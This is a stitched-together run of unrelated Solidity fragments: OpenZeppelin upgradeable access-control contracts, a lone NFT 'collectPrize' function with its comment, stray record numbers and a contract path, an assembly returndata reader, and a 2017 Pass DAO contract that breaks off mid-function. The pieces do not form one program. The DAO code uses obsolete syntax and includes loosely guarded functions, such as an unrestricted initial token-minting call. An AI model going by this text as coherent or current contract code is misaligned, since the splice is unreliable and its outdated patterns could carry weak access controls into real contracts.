that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../utils/StringsUpgradeable.sol"; import "../utils/introspection/ERC165Upgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable { function __AccessControlEnumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); } function __AccessControlEnumerable_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } uint256[49] private __gap; }
collectPrize, called by user holding winning nft Requirements: - the caller must be ownerOf(winner)./ require a winner already picked the caller must be ownerOf(winner) contract must hold balance to extract wrap winners address as payable so we can use the tranfer function on it Gas optimization transfer the full balance to the single winner emit PrizeCollected event
function collectPrize() external { require(winnerPicked, "Winner not picked yet"); require(msg.sender == ERC721Upgradeable.ownerOf(winner), "must be owner of winning nft"); require(address(this).balance > 0, "No balance left to withdraw"); address payable winnerAddress = payable(msg.sender); uint256 prize = address(this).balance; winnerAddress.transfer(prize); emit PrizeCollected(prize, msg.sender); }
338,967
./partial_match/1/0x00000000000006c7676171937C444f6BDe3D6282/sources/contracts/helpers/PointerLibraries.sol
Reads the int104 at `rdPtr` in returndata.
function readInt104( ReturndataPointer rdPtr ) internal pure returns (int104 value) { assembly { returndatacopy(0, rdPtr, _OneWord) value := mload(0) } }
4,300,497
//Address: 0x6A3DCd2Ad3C693aA8CBc3e5bCB075b674209A033 //Contract name: PassCommitteeRoom //Balance: 0 Ether //Verification Date: 2/8/2017 //Transacion Count: 74 // CODE STARTS HERE pragma solidity ^0.4.8; /* This file is part of Pass DAO. Pass DAO is free software: you can redistribute it and/or modify it under the terms of the GNU lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Pass DAO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU lesser General Public License for more details. You should have received a copy of the GNU lesser General Public License along with Pass DAO. If not, see <http://www.gnu.org/licenses/>. */ /* Smart contract for a Decentralized Autonomous Organization (DAO) to automate organizational governance and decision-making. */ /// @title Pass Dao smart contract contract PassDao { struct revision { // Address of the Committee Room smart contract address committeeRoom; // Address of the share manager smart contract address shareManager; // Address of the token manager smart contract address tokenManager; // Address of the project creator smart contract uint startDate; } // The revisions of the application until today revision[] public revisions; struct project { // The address of the smart contract address contractAddress; // The unix effective start date of the contract uint startDate; } // The projects of the Dao project[] public projects; // Map with the indexes of the projects mapping (address => uint) projectID; // The address of the meta project address metaProject; // Events event Upgrade(uint indexed RevisionID, address CommitteeRoom, address ShareManager, address TokenManager); event NewProject(address Project); // Constant functions /// @return The effective committee room function ActualCommitteeRoom() constant returns (address) { return revisions[0].committeeRoom; } /// @return The meta project function MetaProject() constant returns (address) { return metaProject; } /// @return The effective share manager function ActualShareManager() constant returns (address) { return revisions[0].shareManager; } /// @return The effective token manager function ActualTokenManager() constant returns (address) { return revisions[0].tokenManager; } // modifiers modifier onlyPassCommitteeRoom {if (msg.sender != revisions[0].committeeRoom && revisions[0].committeeRoom != 0) throw; _;} // Constructor function function PassDao() { projects.length = 1; revisions.length = 1; } // Register functions /// @dev Function to allow the actual Committee Room upgrading the application /// @param _newCommitteeRoom The address of the new committee room /// @param _newShareManager The address of the new share manager /// @param _newTokenManager The address of the new token manager /// @return The index of the revision function upgrade( address _newCommitteeRoom, address _newShareManager, address _newTokenManager) onlyPassCommitteeRoom returns (uint) { uint _revisionID = revisions.length++; revision r = revisions[_revisionID]; if (_newCommitteeRoom != 0) r.committeeRoom = _newCommitteeRoom; else r.committeeRoom = revisions[0].committeeRoom; if (_newShareManager != 0) r.shareManager = _newShareManager; else r.shareManager = revisions[0].shareManager; if (_newTokenManager != 0) r.tokenManager = _newTokenManager; else r.tokenManager = revisions[0].tokenManager; r.startDate = now; revisions[0] = r; Upgrade(_revisionID, _newCommitteeRoom, _newShareManager, _newTokenManager); return _revisionID; } /// @dev Function to set the meta project /// @param _projectAddress The address of the meta project function addMetaProject(address _projectAddress) onlyPassCommitteeRoom { metaProject = _projectAddress; } /// @dev Function to allow the committee room to add a project when ordering /// @param _projectAddress The address of the project function addProject(address _projectAddress) onlyPassCommitteeRoom { if (projectID[_projectAddress] == 0) { uint _projectID = projects.length++; project p = projects[_projectID]; projectID[_projectAddress] = _projectID; p.contractAddress = _projectAddress; p.startDate = now; NewProject(_projectAddress); } } } pragma solidity ^0.4.8; /* * * This file is part of Pass DAO. * * The Manager smart contract is used for the management of shares and tokens. * */ /// @title Token Manager smart contract of the Pass Decentralized Autonomous Organisation contract PassTokenManagerInterface { // The Pass Dao smart contract PassDao public passDao; // The adress of the creator of this smart contract address creator; // The token name for display purpose string public name; // The token symbol for display purpose string public symbol; // The quantity of decimals for display purpose uint8 public decimals; // Total amount of tokens uint256 totalTokenSupply; // True if tokens, false if Dao shares bool token; // If true, the shares or tokens can be transferred bool transferable; // The address of the last Manager before cloning address public clonedFrom; // True if the initial token supply is over bool initialTokenSupplyDone; // Array of token or share holders (used for cloning) address[] holders; // Map with the indexes of the holders (used for cloning) mapping (address => uint) holderID; // Array with all balances mapping (address => uint256) balances; // Array with all allowances mapping (address => mapping (address => uint256)) allowed; struct funding { // The address which sets partners and manages the funding (not mandatory) address moderator; // The amount (in wei) of the funding uint amountToFund; // The funded amount (in wei) uint fundedAmount; // A unix timestamp, denoting the start time of the funding uint startTime; // A unix timestamp, denoting the closing time of the funding uint closingTime; // The price multiplier for a share or a token without considering the inflation rate uint initialPriceMultiplier; // Rate per year in percentage applied to the share or token price uint inflationRate; // The total amount of wei given uint totalWeiGiven; } // Map with the fundings rules for each Dao proposal mapping (uint => funding) public fundings; // The index of the last funding and proposal uint lastProposalID; // The index of the last fueled funding and proposal uint public lastFueledFundingID; struct amountsGiven { uint weiAmount; uint tokenAmount; } // Map with the amounts given for each proposal mapping (uint => mapping (address => amountsGiven)) public Given; // Map of blocked Dao share accounts. Points to the date when the share holder can transfer shares mapping (address => uint) public blockedDeadLine; // @return The client of this manager function Client() constant returns (address); /// @return The total supply of shares or tokens function totalSupply() constant external returns (uint256); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant external returns (uint256 balance); /// @return True if tokens can be transferred function Transferable() constant external returns (bool); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Quantity of remaining tokens of _owner that _spender is allowed to spend function allowance(address _owner, address _spender) constant external returns (uint256 remaining); /// @param _proposalID Index of the funding or proposal /// @return The result (in wei) of the funding function FundedAmount(uint _proposalID) constant external returns (uint); /// @param _proposalID Index of the funding or proposal /// @return The amount to fund function AmountToFund(uint _proposalID) constant external returns (uint); /// @param _proposalID Index of the funding or proposal /// @return the token price multiplier function priceMultiplier(uint _proposalID) constant internal returns (uint); /// @param _proposalID Index of the funding or proposal /// @param _saleDate in case of presale, the date of the presale /// @return the share or token price divisor condidering the sale date and the inflation rate function priceDivisor( uint _proposalID, uint _saleDate) constant internal returns (uint); /// @param _proposalID Index of the funding or proposal /// @return the actual price divisor of a share or token function actualPriceDivisor(uint _proposalID) constant internal returns (uint); /// @dev Internal function to calculate the amount in tokens according to a price /// @param _weiAmount The amount (in wei) /// @param _priceMultiplier The price multiplier /// @param _priceDivisor The price divisor /// @return the amount in tokens function TokenAmount( uint _weiAmount, uint _priceMultiplier, uint _priceDivisor) constant internal returns (uint); /// @dev Internal function to calculate the amount in wei according to a price /// @param _tokenAmount The amount (in wei) /// @param _priceMultiplier The price multiplier /// @param _priceDivisor The price divisor /// @return the amount in wei function weiAmount( uint _tokenAmount, uint _priceMultiplier, uint _priceDivisor) constant internal returns (uint); /// @param _tokenAmount The amount in tokens /// @param _proposalID Index of the client proposal. 0 if not linked to a proposal. /// @return the actual token price in wei function TokenPriceInWei(uint _tokenAmount, uint _proposalID) constant returns (uint); /// @return The index of the last funding and client's proposal function LastProposalID() constant returns (uint); /// @return The number of share or token holders (used for cloning) function numberOfHolders() constant returns (uint); /// @param _index The index of the holder /// @return the address of the holder function HolderAddress(uint _index) constant external returns (address); /// @dev The constructor function /// @param _passDao Address of the pass Dao smart contract /// @param _clonedFrom The address of the last Manager before cloning /// @param _tokenName The token name for display purpose /// @param _tokenSymbol The token symbol for display purpose /// @param _tokenDecimals The quantity of decimals for display purpose /// @param _token True if tokens, false if shares /// @param _transferable True if tokens can be transferred /// @param _initialPriceMultiplier Price multiplier without considering any inflation rate /// @param _inflationRate If 0, the token price doesn't change during the funding //function PassTokenManager( // address _passDao, // address _clonedFrom, // string _tokenName, // string _tokenSymbol, // uint8 _tokenDecimals, // bool _token, // bool _transferable, // uint _initialPriceMultiplier, // uint _inflationRate); /// @dev Function to create initial tokens /// @param _recipient The beneficiary of the created tokens /// @param _quantity The quantity of tokens to create /// @param _last True if the initial token suppy is over /// @return Whether the function was successful or not function initialTokenSupply( address _recipient, uint _quantity, bool _last) returns (bool success); /// @notice Function to clone tokens before upgrading /// @param _from The index of the first holder /// @param _to The index of the last holder /// @return Whether the function was successful or not function cloneTokens( uint _from, uint _to) returns (bool success); /// @dev Internal function to add a new token or share holder /// @param _holder The address of the token or share holder function addHolder(address _holder) internal; /// @dev Internal function to create initial tokens /// @param _holder The beneficiary of the created tokens /// @param _tokenAmount The amount in tokens to create function createTokens( address _holder, uint _tokenAmount) internal; /// @notice Function used by the client to pay with shares or tokens /// @param _recipient The address of the recipient of shares or tokens /// @param _amount The amount (in Wei) to calculate the quantity of shares or tokens to create /// @return the rewarded amount in tokens or shares function rewardTokensForClient( address _recipient, uint _amount) external returns (uint); /// @notice Function to set a funding /// @param _moderator The address of the smart contract to manage a private funding /// @param _initialPriceMultiplier Price multiplier without considering any inflation rate /// @param _amountToFund The amount (in wei) of the funding /// @param _minutesFundingPeriod Period in minutes of the funding /// @param _inflationRate If 0, the token price doesn't change during the funding /// @param _proposalID Index of the client proposal function setFundingRules( address _moderator, uint _initialPriceMultiplier, uint _amountToFund, uint _minutesFundingPeriod, uint _inflationRate, uint _proposalID) external; /// @dev Internal function for the sale of shares or tokens /// @param _proposalID Index of the client proposal /// @param _recipient The recipient address of shares or tokens /// @param _amount The funded amount (in wei) /// @param _saleDate In case of presale, the date of the presale /// @param _presale True if presale /// @return Whether the creation was successful or not function sale( uint _proposalID, address _recipient, uint _amount, uint _saleDate, bool _presale ) internal returns (bool success); /// @dev Internal function to close the actual funding /// @param _proposalID Index of the client proposal function closeFunding(uint _proposalID) internal; /// @notice Function to send tokens or refund after the closing time of the funding proposals /// @param _from The first proposal. 0 if not linked to a proposal /// @param _to The last proposal /// @param _buyer The address of the buyer /// @return Whether the function was successful or not function sendPendingAmounts( uint _from, uint _to, address _buyer) returns (bool); /// @notice Function to get fees, shares or refund after the closing time of the funding proposals /// @return Whether the function was successful or not function withdrawPendingAmounts() returns (bool); /// @notice Function used by the main partner to set the start time of the funding /// @param _proposalID Index of the client proposal /// @param _startTime The unix start date of the funding function setFundingStartTime( uint _proposalID, uint _startTime) external; /// @notice Function used by the main partner to set the funding fueled /// @param _proposalID Index of the client proposal function setFundingFueled(uint _proposalID) external; /// @notice Function to able the transfer of Dao shares or contractor tokens function ableTransfer(); /// @notice Function to disable the transfer of Dao shares function disableTransfer(); /// @notice Function used by the client to block the transfer of shares from and to a share holder /// @param _shareHolder The address of the share holder /// @param _deadLine When the account will be unblocked function blockTransfer( address _shareHolder, uint _deadLine) external; /// @dev Internal function to send `_value` token to `_to` from `_From` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The quantity of shares or tokens to be transferred /// @return Whether the function was successful or not function transferFromTo( address _from, address _to, uint256 _value ) internal returns (bool success); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The quantity of shares or tokens to be transferred /// @return Whether the function was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The quantity of shares or tokens to be transferred function transferFrom( address _from, address _to, uint256 _value ) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on its behalf /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve( address _spender, uint256 _value) returns (bool success); event TokensCreated(address indexed Sender, address indexed TokenHolder, uint TokenAmount); event FundingRulesSet(address indexed Moderator, uint indexed ProposalId, uint AmountToFund, uint indexed StartTime, uint ClosingTime); event FundingFueled(uint indexed ProposalID, uint FundedAmount); event TransferAble(); event TransferDisable(); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Refund(address indexed Buyer, uint Amount); } contract PassTokenManager is PassTokenManagerInterface { // Constant functions function Client() constant returns (address) { return passDao.ActualCommitteeRoom(); } function totalSupply() constant external returns (uint256) { return totalTokenSupply; } function balanceOf(address _owner) constant external returns (uint256 balance) { return balances[_owner]; } function Transferable() constant external returns (bool) { return transferable; } function allowance( address _owner, address _spender) constant external returns (uint256 remaining) { return allowed[_owner][_spender]; } function FundedAmount(uint _proposalID) constant external returns (uint) { return fundings[_proposalID].fundedAmount; } function AmountToFund(uint _proposalID) constant external returns (uint) { if (now > fundings[_proposalID].closingTime || now < fundings[_proposalID].startTime) { return 0; } else return fundings[_proposalID].amountToFund; } function priceMultiplier(uint _proposalID) constant internal returns (uint) { return fundings[_proposalID].initialPriceMultiplier; } function priceDivisor(uint _proposalID, uint _saleDate) constant internal returns (uint) { uint _date = _saleDate; if (_saleDate > fundings[_proposalID].closingTime) _date = fundings[_proposalID].closingTime; if (_saleDate < fundings[_proposalID].startTime) _date = fundings[_proposalID].startTime; return 100 + 100*fundings[_proposalID].inflationRate*(_date - fundings[_proposalID].startTime)/(100*365 days); } function actualPriceDivisor(uint _proposalID) constant internal returns (uint) { return priceDivisor(_proposalID, now); } function TokenAmount( uint _weiAmount, uint _priceMultiplier, uint _priceDivisor) constant internal returns (uint) { uint _a = _weiAmount*_priceMultiplier; uint _multiplier = 100*_a; uint _amount = _multiplier/_priceDivisor; if (_a/_weiAmount != _priceMultiplier || _multiplier/100 != _a) return 0; return _amount; } function weiAmount( uint _tokenAmount, uint _priceMultiplier, uint _priceDivisor) constant internal returns (uint) { uint _multiplier = _tokenAmount*_priceDivisor; uint _divisor = 100*_priceMultiplier; uint _amount = _multiplier/_divisor; if (_multiplier/_tokenAmount != _priceDivisor || _divisor/100 != _priceMultiplier) return 0; return _amount; } function TokenPriceInWei(uint _tokenAmount, uint _proposalID) constant returns (uint) { return weiAmount(_tokenAmount, priceMultiplier(_proposalID), actualPriceDivisor(_proposalID)); } function LastProposalID() constant returns (uint) { return lastProposalID; } function numberOfHolders() constant returns (uint) { return holders.length - 1; } function HolderAddress(uint _index) constant external returns (address) { return holders[_index]; } // Modifiers // Modifier that allows only the client .. modifier onlyClient {if (msg.sender != Client()) throw; _;} // Modifier for share Manager functions modifier onlyShareManager {if (token) throw; _;} // Modifier for token Manager functions modifier onlyTokenManager {if (!token) throw; _;} // Constructor function function PassTokenManager( PassDao _passDao, address _clonedFrom, string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, bool _token, bool _transferable, uint _initialPriceMultiplier, uint _inflationRate) { passDao = _passDao; creator = msg.sender; clonedFrom = _clonedFrom; name = _tokenName; symbol = _tokenSymbol; decimals = _tokenDecimals; token = _token; transferable = _transferable; fundings[0].initialPriceMultiplier = _initialPriceMultiplier; fundings[0].inflationRate = _inflationRate; holders.length = 1; } // Setting functions function initialTokenSupply( address _recipient, uint _quantity, bool _last) returns (bool success) { if (initialTokenSupplyDone) throw; addHolder(_recipient); if (_recipient != 0 && _quantity != 0) createTokens(_recipient, _quantity); if (_last) initialTokenSupplyDone = true; return true; } function cloneTokens( uint _from, uint _to) returns (bool success) { initialTokenSupplyDone = true; if (_from == 0) _from = 1; PassTokenManager _clonedFrom = PassTokenManager(clonedFrom); uint _numberOfHolders = _clonedFrom.numberOfHolders(); if (_to == 0 || _to > _numberOfHolders) _to = _numberOfHolders; address _holder; uint _balance; for (uint i = _from; i <= _to; i++) { _holder = _clonedFrom.HolderAddress(i); _balance = _clonedFrom.balanceOf(_holder); if (balances[_holder] == 0 && _balance != 0) { addHolder(_holder); createTokens(_holder, _balance); } } } // Token creation function addHolder(address _holder) internal { if (holderID[_holder] == 0) { uint _holderID = holders.length++; holders[_holderID] = _holder; holderID[_holder] = _holderID; } } function createTokens( address _holder, uint _tokenAmount) internal { balances[_holder] += _tokenAmount; totalTokenSupply += _tokenAmount; TokensCreated(msg.sender, _holder, _tokenAmount); } function rewardTokensForClient( address _recipient, uint _amount ) external onlyClient returns (uint) { uint _tokenAmount = TokenAmount(_amount, priceMultiplier(0), actualPriceDivisor(0)); if (_tokenAmount == 0) throw; addHolder(_recipient); createTokens(_recipient, _tokenAmount); return _tokenAmount; } function setFundingRules( address _moderator, uint _initialPriceMultiplier, uint _amountToFund, uint _minutesFundingPeriod, uint _inflationRate, uint _proposalID ) external onlyClient { if (_moderator == address(this) || _moderator == Client() || _amountToFund == 0 || _minutesFundingPeriod == 0 || fundings[_proposalID].totalWeiGiven != 0 ) throw; fundings[_proposalID].moderator = _moderator; fundings[_proposalID].amountToFund = _amountToFund; fundings[_proposalID].fundedAmount = 0; if (_initialPriceMultiplier == 0) { if (now < fundings[0].closingTime) { fundings[_proposalID].initialPriceMultiplier = 100*priceMultiplier(lastProposalID)/actualPriceDivisor(lastProposalID); } else { fundings[_proposalID].initialPriceMultiplier = 100*priceMultiplier(lastFueledFundingID)/actualPriceDivisor(lastFueledFundingID); } fundings[0].initialPriceMultiplier = fundings[_proposalID].initialPriceMultiplier; } else { fundings[_proposalID].initialPriceMultiplier = _initialPriceMultiplier; fundings[0].initialPriceMultiplier = _initialPriceMultiplier; } if (_inflationRate == 0) fundings[_proposalID].inflationRate = fundings[0].inflationRate; else { fundings[_proposalID].inflationRate = _inflationRate; fundings[0].inflationRate = _inflationRate; } fundings[_proposalID].startTime = now; fundings[0].startTime = now; fundings[_proposalID].closingTime = now + _minutesFundingPeriod * 1 minutes; fundings[0].closingTime = fundings[_proposalID].closingTime; fundings[_proposalID].totalWeiGiven = 0; lastProposalID = _proposalID; FundingRulesSet(_moderator, _proposalID, _amountToFund, fundings[_proposalID].startTime, fundings[_proposalID].closingTime); } function sale( uint _proposalID, address _recipient, uint _amount, uint _saleDate, bool _presale) internal returns (bool success) { if (_saleDate == 0) _saleDate = now; if (_saleDate > fundings[_proposalID].closingTime || _saleDate < fundings[_proposalID].startTime || fundings[_proposalID].totalWeiGiven + _amount > fundings[_proposalID].amountToFund) return; uint _tokenAmount = TokenAmount(_amount, priceMultiplier(_proposalID), priceDivisor(_proposalID, _saleDate)); if (_tokenAmount == 0) return; addHolder(_recipient); if (_presale) { Given[_proposalID][_recipient].tokenAmount += _tokenAmount; } else createTokens(_recipient, _tokenAmount); return true; } function closeFunding(uint _proposalID) internal { fundings[_proposalID].fundedAmount = fundings[_proposalID].totalWeiGiven; lastFueledFundingID = _proposalID; fundings[_proposalID].closingTime = now; FundingFueled(_proposalID, fundings[_proposalID].fundedAmount); } function sendPendingAmounts( uint _from, uint _to, address _buyer) returns (bool) { if (_from == 0) _from = 1; if (_to == 0) _to = lastProposalID; if (_buyer == 0) _buyer = msg.sender; uint _amount; uint _tokenAmount; for (uint i = _from; i <= _to; i++) { if (now > fundings[i].closingTime && Given[i][_buyer].weiAmount != 0) { if (fundings[i].fundedAmount == 0) _amount += Given[i][_buyer].weiAmount; else _tokenAmount += Given[i][_buyer].tokenAmount; fundings[i].totalWeiGiven -= Given[i][_buyer].weiAmount; Given[i][_buyer].tokenAmount = 0; Given[i][_buyer].weiAmount = 0; } } if (_tokenAmount > 0) { createTokens(_buyer, _tokenAmount); return true; } if (_amount > 0) { if (!_buyer.send(_amount)) throw; Refund(_buyer, _amount); } else return true; } function withdrawPendingAmounts() returns (bool) { return sendPendingAmounts(0, 0, msg.sender); } // Funding Moderator functions function setFundingStartTime(uint _proposalID, uint _startTime) external { if ((msg.sender != fundings[_proposalID].moderator) || now > fundings[_proposalID].closingTime) throw; fundings[_proposalID].startTime = _startTime; } function setFundingFueled(uint _proposalID) external { if ((msg.sender != fundings[_proposalID].moderator) || now > fundings[_proposalID].closingTime) throw; closeFunding(_proposalID); } // Tokens transfer management function ableTransfer() onlyClient { if (!transferable) { transferable = true; TransferAble(); } } function disableTransfer() onlyClient { if (transferable) { transferable = false; TransferDisable(); } } function blockTransfer(address _shareHolder, uint _deadLine) external onlyClient onlyShareManager { if (_deadLine > blockedDeadLine[_shareHolder]) { blockedDeadLine[_shareHolder] = _deadLine; } } function transferFromTo( address _from, address _to, uint256 _value ) internal returns (bool success) { if ((transferable) && now > blockedDeadLine[_from] && now > blockedDeadLine[_to] && _to != address(this) && balances[_from] >= _value && balances[_to] + _value > balances[_to]) { addHolder(_to); balances[_from] -= _value; balances[_to] += _value; Transfer(_from, _to, _value); return true; } else return false; } function transfer(address _to, uint256 _value) returns (bool success) { if (!transferFromTo(msg.sender, _to, _value)) throw; return true; } function transferFrom( address _from, address _to, uint256 _value ) returns (bool success) { if (allowed[_from][msg.sender] < _value || !transferFromTo(_from, _to, _value)) throw; 